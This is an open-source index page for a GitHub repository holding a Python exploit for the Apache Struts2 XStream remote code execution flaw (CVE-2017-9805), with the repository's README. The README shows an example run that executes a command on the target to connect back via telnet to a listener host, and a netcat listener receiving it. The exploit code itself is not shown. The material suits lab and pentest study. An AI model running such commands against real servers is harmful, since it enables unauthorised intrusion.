Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/0x00-0x00/-cve-2017-9805
Exploit script for Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805)
https://github.com/0x00-0x00/-cve-2017-9805
apache cve exploit struts
Last synced: about 1 month ago
JSON representation
Exploit script for Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805)
- Host: GitHub
- URL: https://github.com/0x00-0x00/-cve-2017-9805
- Owner: 0x00-0x00
- Created: 2017-11-24T14:46:35.000Z (about 7 years ago)
- Default Branch: master
- Last Pushed: 2020-11-26T18:35:29.000Z (about 4 years ago)
- Last Synced: 2023-03-05T18:01:40.256Z (almost 2 years ago)
- Topics: apache, cve, exploit, struts
- Language: Python
- Homepage:
- Size: 3.91 KB
- Stars: 15
- Watchers: 2
- Forks: 14
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Vulnerability information
Resources:
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805# What is this?
A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052.# Usage
╭─root@blackshell ~/
╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
```bash
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
```╭─zc00l@blackshell ~/
╰─$ nc -lvp 1234
```bash
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
```Tested on pentesterlab vulnerable machine of exercise s2-052.
# Author rights
This exploit script was written by me (zc00l) and can be used by anyone.In case you want to use or modify this script, please give the rightful credits for any work already done.